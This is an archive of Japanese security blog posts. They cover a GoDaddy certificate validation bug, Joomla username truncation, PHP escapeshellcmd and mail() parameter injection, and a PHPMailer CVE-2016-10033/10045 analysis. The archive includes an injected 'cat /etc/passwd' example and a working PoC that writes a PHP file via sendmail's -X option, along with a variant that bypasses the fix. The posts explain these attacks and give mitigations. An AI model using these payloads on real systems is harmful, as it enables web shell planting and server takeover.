2017年1月12日木曜日

GodaddyのSSL証明書にドメイン認証の脆弱性があり8850件の証明書が失効された

エグゼクティブサマリ

GoDaddy社の発行するドメイン認証SSL証明書に認証不備の脆弱性があり、予防的な処置として8850件の発行済証明書が失効された。これは同期間に発行された証明書の2%未満である。現在は脆弱性は解消されている。

概要

GoDaddy社は米国のホスティング(レンタルサーバー)やレジストラの大手で、認証局(CA)の事業も手がけています。
GoDaddyが発行するドメイン認証証明書の認証手続きに不備があったとして報告されています。
In a typical process, when a certificate authority, like GoDaddy, validates a domain name for an SSL certificate, they provide a random code to the customer and ask them to place it in a specific location on their website. When their system searches and finds the code, the validation is complete.

However, when the bug was introduced, certain web server configurations caused the system to provide a positive result to the search, even if the code was not found.

Information about SSL bug - The Garage より引用
すなわち、ドメイン認証の手段として、GoDaddyが発行するランダムなコードを含むファイルをウェブサイト上の特定の位置に設置し、そのファイルの内容を確認することでドメイン所有者であることを確認しているが、ファイルがなくてもドメイン所有者とされ、証明書が発行できていたというのです。

以下、この問題のGoogle groupsにおけるディスカッションも参考にしながら、悪い人がgoogle.comの証明書を入手しようとしたと想定して、悪用の手順を紹介します。
  • 悪人は、GoDaddyのコントロールパネルからwww.google.comのサーバー証明書を要求する
  • コントロールパネルがランダムなコード(以下、例としてtR7PasZyを用います)を発行し、利用者に http://www.google.com/tR7PasZy.html を作成して、その中にtR7PasZyというコードを含めるように要求する
  • 悪人は、実際には上記のページを設置できないが、設置したという報告をコントロールパネル上で行う
  • GoDaddyの認証システムは、http://www.google.com/tR7PasZy.html からコードを読み取ろうとする。この際の表示は下記となる(ステータス404)


HTMLソースは下記の通り。
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style> …省略…  </style>
  <a href=//www.google.com/><span id=logo aria-label=Google></span></a>
  <p><b>404.</b> <ins>That’s an error.</ins>
  <p>The requested URL <code>/tR7PasZy.html</code> was not found on this server.  <ins>That’s all we know.</ins>

  • ステータス404なのに、レスポンス中にコード tR7PasZy が含まれているために、認証は成功してしまう
  • 悪人は、www.google.com の証明書を入手できる

※ 実際には、google.com等の著名ドメイン名はブロックされる可能性もありますが、上記は脅威の分かりやすい例として紹介しています。実際にGoogleの証明書が不正に発行されたわけではありません。

GoDaddy社の対応

GoDaddy社は今年1月3日にメールにて報告を受けた後に、1月6日にエスカレーションされ問題を認識しました。調査の結果、バグが混入したのは2016年7月29日であり、2017年1月10日までに解消されました。
この問題の影響を受けた可能性のある証明書は最大 8850件であり、同期間に発行された証明書の2%未満ということです。これらの証明書は、GoDaddy社により失効手続きがとられ、利用者による再発行手続きが必要となります。

まとめ

GoDaddy認証局のドメイン認証脆弱性について紹介しました。類似の過去事例としては、下記のようなものもあります。


バグの本質的な原因は、HTTPレスポンスのステータスをチェックしていなかったことにありますが、ファイル名とファイルの中身の両方に同一の認証コードを含めるという設計は、上記のように潜在的な問題を抱えていると考えます。したがって、ファイル名とファイル中に記述する認証コードは別々に発行することで、仮にステータスのチェックが抜けていても脆弱性にならないような設計となります。このように、予防的な設計を心がけることが重要です。

2017年1月2日月曜日

Joomla! 3.4まではUTF-8の4バイト文字を悪用して重複するログイン名が登録できた

以前の記事CMS四天王のバリデーション状況を調査したところ意外な結果になったで報告したように、Joomla!はログイン名の制限が非常にゆるやかになっています。であれば、🍣とか、💩などを含むログイン名が登録できるのだろうかという疑問が生じました。
とはいえ、以前、Joomla!の「ゼロデイコード実行脆弱性」はPHPの既知の脆弱性が原因で報告したように、少なくともJoomla! 3.4.5までは、MySQLの設定上 UTF-8 の4バイト文字は登録できず、それ以降の文字が全て切り詰められるという問題がありました。
このため、「admin🍣」というログイン名を登録しようとすると、🍣の切り詰めが起こって、adminユーザを二重に登録できなるのではないでしょうか?

試してみる

Joomla! 3.4.8の環境を用意して管理者ユーザーを「admin」としておきます。下記のように、default charsetはutf8となっています。
mysql> show create table  dnbd5_users;
CREATE TABLE `dnbd5_users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) NOT NULL DEFAULT '',
  `username` varchar(150) NOT NULL DEFAULT '',
   ... 省略
) ENGINE=InnoDB AUTO_INCREMENT=685 DEFAULT CHARSET=utf8
この状態で、「admin🍣」を登録します。下記のように、usernameとしてadminを持つユーザーが二重に登録されていることがわかります。
mysql> SELECT id, name, username, email FROM dnbd5_users where username='admin';
+-----+------------+----------+------------------+
| id  | name       | username | email            |
+-----+------------+----------+------------------+
| 683 | Super User | admin    | alice@example.jp |
| 684 | bob        | admin    | bob@example.jp   |
+-----+------------+----------+------------------+
2 rows in set (0.00 sec)
これは一種のColumn SQL Truncationといえますが、セキュリティ上の問題はないのでしょうか?

セキュリティ上の影響はないのか

上記の現象がセキュリティ上の問題となるシナリオの典型例は下記のものです。
  • 攻撃者がセルフサービスでadmin🍣ユーザーを登録し、結果としてadminとして登録される
  • 攻撃者がユーザー=admin、パスワード=自分の登録したパスワードでログインする
  • 攻撃者の権限がSuper Userのものとなる
このシナリオの例を以前記事に書きましたので興味のある方は参照ください。
しかし、Joomla!の場合、ここまでの悪用はできないようです。その理由は以下の通りです。
Joomla!のログイン処理のSQL文は以下の通りですが、
SELECT id, password FROM dnbd5_users WHERE username='admin'
私がさまざまな条件でテストした範囲では、常に(先に登録された)Super Userの方がログイン処理に用いられ、後から追加したユーザー(bob)はログインチェックの対象にならないようです。
そして、仮にbobの方がマッチしたとしても、権限等はユニークな id で管理されているので、bobがSuer Userとしての権限を持つことはありません。
最悪の状態では、Super Userの方がログイン対象にならず、ログインできなくなるという事態は考えられますが、状況の実現には至っていません。

adminが二重に登録される理由(19:00追記)

それでは、🍣を使うとなぜadminが二重に登録できるのでしょうか。その理由は以下の様なものです。
まず、username列には一意制約がないのでデータベースの定義上は重複を許しています。
このためアプリケーション側で一意性の確認をしていますが、確認時には「admin🍣」が登録されていないことを確認しているので、そのチェックは通過します。続いて、admin🍣をインサートしますが、🍣はMySQLのutf8文字エンコーディングの列ではインサートできない(UTF-8の4バイト文字を許していないため)ので、🍣以降を切り詰めるというMySQLの恐ろしい仕様があります。このため、admin🍣がadminに化けて登録されるのです。

Joomla! 3.5以降の対応

上記は、Joomla! 3.4.8までの仕様ですが、Joomla! 3.5.0になって、データベースのデフォルトの文字エンコーディングが utf8mb4 に変更されました。これにより、Joomla! 3.5.0以降では、UTF-8の4バイト文字を悪用した攻撃は、基本的にできなくなると考えられます。

アップグレードではどうなるか?

また、旧バージョンからのバージョンアップの際にも、データベースのデフォルト文字エンコーディングが utf8mb4 に変更されるようです。
下記は、Joomla! 3.4.8インストール後にJoomla! 3.6.5にアップデートした状態で admin🍣 ユーザーを登録したものですが、たしかに admin🍣 というUsernameが作られています。


まとめ

Joomla! 3.4.8まででは、UTF-8の4バイト文字以降が切り詰められるという仕様を悪用して、admin🍣ユーザを登録することで、adminユーザを二重に登録できることを示しました。これによる重大な問題はなさそうですが、最悪adminユーザでログインできなくなる可能性があります。
Joomla! 3.5.0では、データベースのDEFAULT CHASETが utf8mb4 に変更されたため、この問題は解消されています。

2016年12月30日金曜日

PHPのescapeshellcmdを巡る冒険はmail関数を経てCVE-2016-10033に至った

エグゼクティブサマリ

2011年始めに徳丸がescapeshellcmdの危険性を指摘したが、この問題はmail関数のadditional_parameters経由で攻撃可能であることが2013年末に指摘された。その後2016年末に、PHPMailerの脆弱性CVE-2016-10033として現実のものとなった

経緯


escapeshellcmdはなぜ危険か

経緯のところで説明したように、escapeshellcmdはコマンド文字列全体をエスケープするための関数です。
サンプルとして以下のプログラムを考えます。
<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i $mail";
system($cmd);
このプログラムは外部から指定されたメールアドレスに対して空のメールを送信するものです(実用上の意味はありませんが説明を簡単にするためですのでご容赦ください)。…が、一見して分かるようにOSコマンドインジェクション脆弱性があります。例えば、メールアドレスとして下記のメールアドレスを指定します。
sample@example.jp; cat /etc/passwd
実行されるコマンドは下記となり、メール送信に続いて、cat /etc/passwd が実行されます。
/usr/sbin/sendmail sample@example.jp; cat /etc/passwd
このような攻撃を防ぐために、escapeshellcmdは下記のように用います。
<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i $mail";
$cmd = escapeshellcmd($cmd);
system($cmd);
この場合、実行されるコマンドは下記となり、OSコマンドインジェクションは避けられます。
/usr/sbin/sendmail -i sample@example.jp\; cat /etc/passwd
しかし、cat /etc/passwdという余計なオプションがついてしまいますので、$mailをダブルクォートで囲むことも一案です。
<?php
$mail = $_GET['mail'];
$cmd = "/usr/sbin/sendmail -i \"$mail\"";
$cmd = escapeshellcmd($cmd);
system($cmd);
実行結果は下記となります。
/usr/sbin/sendmail -i "sample@example.jp\; cat /etc/passwd"
今度は ; cat /etc/passwdも含めてメールアドレスの一部となり、メール送信はエラーになりますが、OSコマンドインジェクションもオプション追加も避けられています。
しかし、このような使い方を想定すると、ダブルクォート「"」はエスケープしてはいけないことになり、実際エスケープされていません。このため、escapeshellcmdのマニュアルには以下のように記載されています。
' および " は、対になっていない場合にのみエスケープされます
ということは、メールアドレスとして下記を指定した場合、
-OQueueDirectory=/tmp" "-X/tmp/exploit.php" "sample@example.jp
実行されるコマンドは下記となり、パラメータインジェクション攻撃が成立します。
/usr/sbin/sendmail -i "-OQueueDirectory=/tmp" "-X/tmp/exploit.php" "sample@example.jp"
この攻撃が成立する理由は、前述のとおり、escapeshellcmdの「' および " は、対になっていない場合にのみエスケープされます」という仕様によるものであり、これはescapeshellcmdのユースケースを考えると不可避であり、仕様の欠陥といえるものです。このため、OSコマンドインジェクション対策には、escapeshellcmdの利用を避け、escapeshellarg関数を用いる必要があります。
CVE-2016-10033の本質は、mail関数とmb_send_mail関数が、OSコマンドインジェクション対策として内部的にescapeshellcmd関数を呼び出しているために、潜在的にパラメータインジェクションに対して脆弱である点をついたものです。

CVE-2016-10033 PoCの巧妙さ

実際のCVE-2016-10033は上記の説明とは少し違います。mail関数は、宛先をメールヘッダから取得する -t オプションが指定されていますが、PHPMailerはSender(エンベロープFrom)の設定するため、sendmailコマンドの-fオプションをmail関数の第5パラメータadditional_parameters経由で指定しています。典型的なsendmail呼び出しは下記となります。
/usr/sbin/sendmail -t -i -fsample@example.jp
ご覧のように-fオプション全体やメールアドレスはダブルクォートで囲まれていません。しかし、これを突破するのは容易ではありません。なぜなら、
  • PHPMailerはSenderプロパティに対してRFC準拠のメールアドレスであることを確認している
  • sendmail呼び出しの前にescapeshellcmdによるエスケープ処理がなされている
  • sendmailコマンドのパラメータチェックを回避する必要がある
この3点を同時に満足するメールアドレスを見つける必要があるからです。私が先に示したPoCでは以下のメールアドレスを使いました。
"a \"  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp
このメールアドレスは、RFC5321等を満たしています。escapeshellcmdを通ったあとのsendmailコマンド呼び出しは下記となります。
/usr/sbin/sendmail -t -i  -f"a \\" -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp
"は偶数個あるためエスケープされませんが、バックスラッシュ「\」はエスケープされています。この不整合により、/bin/sh経由で呼び出されたsendmailコマンドが受け取るパラータは下記となります。
-t
-i
-fa \
-OQueueDirectory=/tmp
-X/tmp/exploit.php
\a@example.jp
「a \」と「\a@example.jp」はメールアドレスが必要なパラメータであり、RFCには違反していますが、sendmailは一旦これらをエラーとせずメール配送を開始するため、攻撃が成立してしまいます。

mail関数はどうすればいいか

mail関数の今のマニュアルには、以下のように書かれています。
escapeshellcmd() が自動的に適用されるため、 インターネット RFC でメールアドレスとして許可さているいくつかの文字を使用することができません。 mail() はそうした文字を許可しないため、プログラム中でそうした文字の使用が必須である場合、 メール送信の代替手段(フレームワークやライブラリの使用など)が推奨されます。
PHP: mail - Manual より引用
つまり、RFCよりも制限を厳しくしたバリデーションを施さないと危険だということですが、この状態はよろしくないと考えます。現に、PHPMailerだけでなく、Swift Mailerにも同種の指摘(CVE-2016-10074)がなされていますが、PoCが同じなので、mail関数の仕様による問題と考えられます。

これを改善するには、additional_parametersとして現在の文字列パラータに加えて、配列を許すようにする案が考えられます。配列としてパラメータを一つずつ指定できれば、escapeshellarg関数により安全にエスケープ処理が行えるからです。

まとめ

2011年はじめにescapeshellcmdの問題点を指摘した後、2016年末にPHPMaierの脆弱性CVE-2016-10033という重大な問題として顕在化した流れを報告しました。PHPは長い歴史の中で安全性を高めており、この記事や、このスライドにまとめたことがありますが、まだ危険な関数は残っています。今回の問題は、escapeshellcmd、mail、mb_send_mail関数の仕様が問題でした。
今回の問題を機に、さしあたりmail関数とmb_send_mail関数の仕様が見直されることを期待しています。

2016年12月29日木曜日

PHPのmail関数、mb_send_mail関数のマニュアルに警告が追記されていた

昨日の記事PHPMailerの脆弱性CVE-2016-10033について解析したにて、PHPMailerの脆弱性CVE-2016-10033の原因はmail関数が内部で呼んでいるescapeshellcmd関数の仕様が原因であると指摘しました。そして、mail関数の危険性については、小邨孝明さんが2013年12月23日の記事にて指摘していました。
mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。

escapeshellcmd() は、以前に徳丸さんから OS コマンドインジェクションの防止には不適切であると指摘されています。ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。
mb_send_mail(),mail()で第5引数を設定する際の注意点 より引用
私はこの記事が書かれて直ぐに読んでいましたが、残念ながら多くの方が知るとこではなかったように思います。しかし、今日になって、小邨さんの注意喚起がPHPのマニュアルに追記されていることに気が付きました。


additional_parameters(オプション)
パラメータ additional_parameters は、 追加のフラグをコマンドラインオプションとしてメール送信プログラムに渡す際に使用可能です。 メール送信プログラムは、設定オプション sendmail_path により設定されます。例えば、 sendmail を使用する際に -f オプションを使って エンベロープの sender アドレスを設定する際に使用できます。
このパラメータはコマンドの実行を防止するために内部的に escapeshellcmd() によってエスケープされます。 escapeshellcmd() はコマンドの実行を防止しますが、 別のパラメータを追加することは許してしまいます。セキュリティ上の理由から、 シェルコマンドへの望ましくないパラメータの追加を避けるために、 ユーザーはこのパラメータを適切に処理することが推奨されます。
escapeshellcmd() が自動的に適用されるため、 インターネット RFC でメールアドレスとして許可さているいくつかの文字を使用することができません。 mail() はそうした文字を許可しないため、プログラム中でそうした文字の使用が必須である場合、 メール送信の代替手段(フレームワークやライブラリの使用など)が推奨されます。
PHP: mail - Manual より引用
私は、CVE-2016-10033の主原因はPHPMailerというよりもPHPのmail関数側にあると考えていましたが、上記のようにマニュアル上で「免責」されていたことになります。
それでは、いつごろこの注意書きが追加されたのだろうとarchive.orgで確認したところ、下記のような結果でした。
したがって、2014年1月6日から同年2月9日のどこかのタイミングでこの注意書きが追記されたことになります。いずれにせよ、小邨さんの記事からほどなく、PHP本家のマニュアルに注意書きが追記されたことになります。

これはこれで立派なことですが、PHP利用者は常にマニュアルの変更を見張っているわけではないので、もう少し注意喚起を工夫できなかっただろうかと感じました。

2016年12月28日水曜日

PHPMailerの脆弱性CVE-2016-10033について解析した

エグゼクティブサマリ

PHPMailerにリモートスクリプト実行の脆弱性CVE-2016-10033が公表された。攻撃が成功した場合、ウェブシェルが設置され、ウェブサーバーが乗っ取られる等非常に危険であるが、攻撃成功には下記の条件が必要であることがわかった
  • PHPMailer 5.2.17以前を使っている
  • Senderプロパティ(エンベロープFrom)を外部から設定できる
  • 現在出回っているPoCはMTAとしてsendmailを想定しており、postfixを使っている環境では問題ない
対策版として公開されている PHPMailer 5.2.19も不完全であるので、回避策の導入を推奨する。

はじめに

12月24日にPHPMalerの脆弱性CVE-2016-10033が公表され、とんだクリスマスプレゼントだと話題になっています。
 PHPからのメール送信に広く使われているライブラリの「PHPMailer」に重大な脆弱性が報告され、修正のためのパッチが12月24日付で公開された。悪用されれば任意のコードを実行される恐れも指摘され、米セキュリティ機関のSANS Internet Storm Centerは直ちにパッチを適用するよう呼び掛けている。

「PHPMailer」に重大な脆弱性、直ちにパッチ適用をより引用
「任意コードを実行される」なんて血沸き肉踊りますとても心配ですよね。ということで、詳しく調べてみることにしました。

PoC

PoCは既に公表されているということと、現実のところ攻撃は難しいと考えられるため、この脆弱性のPoCを下記に示します。
<?php
require("PHPMailer/class.phpmailer.php");
$to = 'tokumaru@example.jp'; // 自分のメールアドレスに変更して下さい

// Exploit
$from = '"a \" -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp';

$mail = new PHPMailer();
$mail->AddAddress($to);
$mail->Sender = $from;
$mail->Subject = 'CVE-2016-10033 PoC';
$mail->Body  = '<?php phpinfo(); ?>';   // 実行コード
if(!$mail->send()) {
  echo 'Mailer Error: ' . $mail->ErrorInfo . "\n";
} else {
  echo "Message has been sent\n";
}
これを実行すると、/tmp/exploit.php として下記のファイルが生成されます。
05284 <<< To: hiroshi2009@tokumaru.org
05284 <<< Subject: CVE-2016-10033 PoC
... 中略
05284 >>> X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)
05284 >>> MIME-Version: 1.0
05284 >>> Content-Type: text/plain; charset=iso-8859-1
05284 >>>
05284 >>> <?php phpinfo(); ?>
05284 >>>
05284 >>> .
05284 <<< 250 2.0.0 uBS1bgVM005294 Message accepted for delivery
05284 >>> QUIT
05284 <<< 221 2.0.0 localhost closing connection
本文中のPHPスクリプトがログとして出力されていることがわかります。
実際の攻撃では、ドキュメントルート上にウェブシェルを設置する等の攻撃ができることになります。

なぜ攻撃が成立するか

PHPMailerのSenderプロパティは、メールの「エンベロープFrom」を設定するもので、受け取ったメールでは、Return-Pathヘッダとして設定されるものです。エンベロープFromについては、水無月ばけらさんの解説をお読み下さい。
PHPMaierでは、メール送信に先立ち、Senderとして設定されたメールアドレスがRFC準拠かどうかを確認した後、下記の流れでmail関数の第5パラメータにセットされます。
$params = sprintf('-f%s', $this->Sender);
... 色々な処理
$result = @mail($to, $subject, $body, $header, $params);
この第5パラメータは、sendmailコマンドに引き渡すオプションパラメータを指定するもので、小邨孝明さんの解説によると、sendmailコマンドの呼び出し前に、escapeshellcmd同等のエスケープ処理が施されます。
mb_send_mail関数(mail関数も同様)ですが、第5引数(additional_parameter)にユーザの入力を使用する場合は注意が必要です。mb_send_mail関数の第5引数は、内部でescapeshellcmd(内部関数名:php_escape_shell_cmd)によって引数の文字列全体がエスケープされます。

escapeshellcmd() は、以前に徳丸さんから OS コマンドインジェクションの防止には不適切であると指摘されています。ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。
mb_send_mail(),mail()で第5引数を設定する際の注意点 より引用
そして、まさに『sendmailコマンドに任意のコマンドライン引数を渡されてしまう』ことが起こったわけです。

攻撃に用いるメールアドレスについて

先のPoCで用いた攻撃用のメールアドレスは下記のものですが、
"a \"  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp
これは、RFC5322等に適合しているため、PHPMailer内部のバリデーションを通過します。このあたりは@cakephperさんが詳しく解説されていますが、
悲しいことに、PCREが入っているほうがPHPの対象範囲が広くなってしまいます・・・
PCREが入っておらず、PHP5.2以上の場合はPHPのfilter_var()でメールアドレスチェックが行われるため救われます。PCREの正規表現よりもfiter_var()を優先すれば良いのに・・・

PHPMailerのリモートコード実行脆弱性(CVE-2016-10033)の影響範囲 より引用
正規表現だとチェックをすりぬけ、filter_varだと弾かれると書いてありますが、これはおそらく、filter_varのメールアドレスチェックは、たとえクォートされていても空白を許さないからだと思います。このあたりは、こちらの記事で書いたことがあります。
さて、実は、先のメールアドレスをそのままsendmailに渡せば、メールアドレスのクォートがうまく働いて攻撃は成立しないのですが、mail関数内部でescapeshellcmd相当のエスケープ処理が入るため、実際のsendmail呼び出しは下記とになります。
sh -c /usr/sbin/sendmail -t -i  -f"a \\" -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp
 -f"a \\" の部分に注目ください。escapeshellcmdがバックスラッシュのみをエスケープしたことが仇となって、実際にsendmailコマンドに渡される-fオプションは、「-fa \」までとなり、-Oパラメータや-Xパラメータがはみ出した状態になります。これが、OSコマンドパラメータインジェクションの原因です。

PHPMailer 5.2.19での対応

対策版とされる PHPMailer 5.2.19 では、以下のようにSenderプロパティをescapeshellarg関数でエスケープしてからmail関数に渡されるようになりました。
$params = sprintf('-f%s', escapeshellarg($this->Sender));
しかし、これはこれで不安ですね。その理由は、escapeshellarg関数の後、mail関数内部でescapeshllcmd相当のエスケープが行われるからです。二重にエスケープされるので予期しない動作になる可能性があります。あれ、これではまずい…
と思って、届出をしていたところ、先に発表されていました。CVE-2016-10045が割り当てられています。PoCも公開されていますね。


先のPoCに対して、Senderのメールアドレスを以下のように変更するだけで、5.2.19への攻撃ができます。ダブルクォートをシングルクォートに変えるだけですね。
$from = '"a \'  -OQueueDirectory=/tmp  -X/tmp/exploit.php \"a"@example.jp';
この場合、まず、escapeshellarg して-f を前置した結果は下記となります。
-f'"a '\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \"a"@example.jp'
そして、sendmailの呼び出しは下記となります。
/usr/sbin/sendmail -t -i  -f'\"a '\\'' -OQueueDirectory=/tmp -X/tmp/exploit.php \\"a"@example.jp\'
ややこしいですが、\がエスケープされて二重になっていますね。その結果、-fオプションが -f'\"a '\\'' で切れてしまっています。この結果は、以下の3要素を連結したものとなっています。
-f'\"a '
\\
''
その結果、sendmailに実際に渡されるパラメータは、-f\"a \ です(''は空文字列ですので)。
結果として、-Oオプションや、-Xオプションがクォートの外にはみ出し、攻撃が成立しています。これは、escapeshellargとescapeshellcmdを両方していることの副作用ですので、安全なエスケープは難しそうです。

影響を受けるMTA

前述のように、現在公開されているPoCは、sendmailコマンドの-Xオプション(MTAのログを-Xで指定したファイルに出力する)を用いたものですが、postfixのsendmailラッパーでは-Xオプションは無効化されているため、攻撃の影響を受けません。私の気づいていない他の攻撃経路の可能性はありますが、さしあたり、sendmailをMTAとして使っている場合よりも、影響を受ける可能性は低いと考えられます。

ケーススタディ HASHコンサルティングのウェブサイト

CVE-2016-10033の影響を受けるソフトウェアの一つにWordPressがあげられています。既報のように、弊社 HASHコンサルティング株式会社のオフィシャルウェブサイトは、2016/9/30にWordPressを用いてリプレースしており、Contact Form 7による問い合わせフォームがあります。Contact Form 7は、WordPressのwp_mailという関数を通じてPHPMailerを呼び出しており、WordPress 4.7(最新版)にバンドルされるPHPMailer は5.2.14という脆弱なバージョンです。
つまり、ビンゴとなっているのですが、下記の2点から、弊社サイトは PHPMailerの影響を受けないと考えられます。
  • エンベロープFrom(Senderプロパティ)は固定とになっていて外部から操作できない
  • MTAとしてPostfixを使用している
特に、Senderプロパティを操作できない点が大きいですね。上記は、あくまで弊社サイトでの状況なので、個別のサイトについてはご確認ください。

対策

対策版として PHPMailer 5.2.19が公開されていますが、前述のようにこの対策はイマイチで、導入してもあまり安全性は変わりません。
このため、回避策として以下を推奨いたします。
  • Senderプロパティを設定しない、あるいは固定にする(強く推奨)
  • MTAとしてsendmailを避け、postfixを使用する
  • ドキュメントルート下のファイルやディレクトリをPHPスクリプトが動作するユーザから書き込み不可に設定する
  • 改ざん検知の仕組みを導入する(緩和策)
どーーーしても、Senderプロパティを動的に変更したい場合、PHPMailerの呼び出し側で、メールアドレスを厳し目にバリデーションするくらいでしょうか。この場合、空白、ダブルクォート、シングルクォート、バックスラッシュが弾かれることを確認ください。

まとめ

PHPMailerの脆弱性CVE-2016-10033とCVE-2016-10045について報告しました。現在公開されているPHPMailer 5.2.19の対策は不完全ですので、回避策の導入を推奨します。
メールアドレスのような複雑な仕様の場合であっても、バリデーションを厳密にしていても重大な脆弱性が混入する可能性があるという点で興味深いと感じました。また、小邨孝明さんの予言が的中した形となり、氏の先見の明には感服するばかりです。

免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。

2016年12月19日月曜日

PDOに複文実行を禁止するオプションが追加されていた

エグゼクティブサマリ

PHP 5.5.21、PHP 5.6.5 以降、PHPにPDO::MYSQL_ATTR_MULTI_STATEMENTSというオプションが追加され、PDO+MySQLの組み合わせで、SQLの複文を禁止できるようになった。この設定はSQLインジェクションの緩和策として有効である。

はじめに

2013年12月に公開した PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能 にて、PDOとMySQLの組み合わせで、SQLインジェクションの文脈で複文呼び出しが可能であることを報告していましたが、その後のPHPのバージョンアップで、複文実行を禁止するオプションが追加されていましたので報告します。
対象のバージョンは以下の通りです。
  • PHP 5.5.21 以降
  • PHP 5.6.5 以降
  • 全ての PHP 7.0、7.1
前述の記事を書いた後、3大CMSの一角である Drupal に、Drupageddon (CVE-2014-3704) と呼ばれる恐ろしいSQLインジェクション脆弱性が発見されました。詳しくは、以下の記事を参照下さい。
この記事の中で、私は以下のように書きました。
実験に使用した環境はMySQLを使っていますが、SQLの複文が実行できていることになります。これは、DrupalがPDOを使っているためで、詳しくは以下のエントリを参照ください。
  • PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能
すなわち、タラレバの話にはなりますが、PDOがMySQLでの複文実行を許していなければ、Drupageddonは高危険度の脆弱性には至らなかった可能性があります。少なくとも、攻撃経路はかなり限定されたはずです。
Drupalの開発陣にとっては、この事実はよほど悔しかったのかもしれません。以下のような時系列で、PDO+MySQLで複文を許さなくするオプションが提案されます。
  • 2014年10月15日 Drupageddonを修正した Druapl 7.32 がリリースされる
  • 2014年11月14日 PDOに複文を許さなくするオプションが提案される
  • 2015年 1月22日 上記を実装したPHP 5.5.21およぴ PHP 5.6.5 がリリースされる
すなわち、Drupageddonの公表からわずか3ヶ月ほどで、このオプションが実装・公開されたことになります。

どうしてこのオプションに気づいたか

私はこのオプションの存在に気がついていなかったのですが、昨日modphpallでDrupal8を動かしていたところ、下記の警告が表示されていることに気がつきました。

PHP (multiple statement disabling) 5.5.9 (more information)
PHP versions higher than 5.6.5 or 5.5.21 provide built-in SQL injection protection for mysql databases. It is recommended to update.

multiple statement disabling …ですと?
この情報から、PDO::MYSQL_ATTR_MULTI_STATEMENTSというオプションが追加されたことに気がつきました。

オプションの使い方

マニュアルから、このオプション PDO::MYSQL_ATTR_MULTI_STATEMENTS の説明を引用します。
PDO::MYSQL_ATTR_MULTI_STATEMENTS (integer)
FALSE にすると、PDO::prepare() や PDO::query() でのマルチクエリの実行を無効にします。

この定数が使えるのは、データベースハンドルを新規作成する際の driver_options 配列内だけであることに注意しましょう。

これが使えるようになった PHP のバージョンは 5.5.21 および PHP 5.6.5。

PHP: MySQL (PDO) - Manual より引用
すなわち、new PDOする際に、driver_options配列に上記を設定すればよいことになります。下記は、Drupalのソースコードを参考に、PDO::MYSQL_ATTR_MULTI_STATEMENTS が存在する場合のみ、このオプションを指定しています。
$opt = array(/* 様々な接続時オプション */);
if (defined('PDO::MYSQL_ATTR_MULTI_STATEMENTS')) {
  $opt[PDO::MYSQL_ATTR_MULTI_STATEMENTS] = false;
}
$db = new PDO("mysql:host=DBHOSTNAME;dbname=DBNAME;charset=utf8", DBUSER, DBPASSWORD, $opt);
上記オプションが有効な状態で複文を実行しようとすると、以下のようなエラーになります。
PDO Error:SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; ...

PDO::MYSQL_ATTR_MULTI_STATEMENTS を FALSE にする効果

この設定により、SQLインジェクション攻撃で複文を使用することができなくなります。Drupageddonに効果があることは前述のとおりですが、これは現実的には意味がありません。このオプションの真意は、Drupageddonのある古いDrupalを延命させることではないでしょう。むしろ、今後、SQLの複文を使った攻撃を緩和することにあります。
複文が使えなくなると、SQLインジェクションによる改ざんがほぼできなくなると考えられますので、情報漏えいによる実害があまりなく、改ざんが主な脅威であるようなサイトには特に有力な緩和策になります。

まとめ

PDOの新オプションPDO::MYSQL_ATTR_MULTI_STATEMENTSについて紹介しました。PDOは、従来複文を許しており、SQLインジェクション攻撃を受けた場合にデータの改変など脅威が増加するなど、MySQLi等に比べて影響が大きくなっていました。PDO::MYSQL_ATTR_MULTI_STATEMENTSをFALSEに設定することで、SQLインジェクション攻撃の影響を緩和することができます。わずかな追加で緩和策となるので、このオプションの利用を推奨します。

2016年12月16日金曜日

PHPの全バージョンの挙動をApacheモジュールとして試す

この投稿は PHP Advent Calendar 2016 の16日目の記事です。

エグゼクティブサマリ

PHPのバージョン間の挙動の違いを調査するツールとして、@hnwによるphpallや、それを改造したphpcgiallがあったが、現実のPHPの利用環境とは違いがあり、検証の妨げになる場合があった。このため、PHPのバージョン毎にApacheを異なるポートで動かすことにより、全てのバージョン(229種)のPHPをApacheモジュールとして動作させることに成功し、modphpallと命名した。modphpallはPHPの検証に有効であることを、キャリッジリターンのみで起こるPHPヘッダインジェクションを用いて確認した。

はじめに

昨日の日記では、PHPの全バージョンをCGIモードで試す phpcgiall について紹介しました。HTTPヘッダインジェクションやセッションの挙動について確認するためには、CLI版のPHPでは限界があり、ウェブスクリプトとして全バージョンのPHPを試すことができる phpcgiall は有効であるものの、ヘッダの微妙な挙動については、Apacheモジュール版と差異があることがわかりました。

それに、やはりPHPの本流はCGI版ではなく、Apacheモジュール版であろという思いから、なんとかphpallのApacheモジュール版はできないだろうかと考えるようになりました。
基本的にアイデアは3つありました。
  • Apacheに同時に複数バージョンのPHPを組み込めるようにする
  • Apacheに組み込むPHPを次々に切り替える
  • Apacheのインスタンスを複数起動して、それぞれ異なるバージョンのPHPを動かす
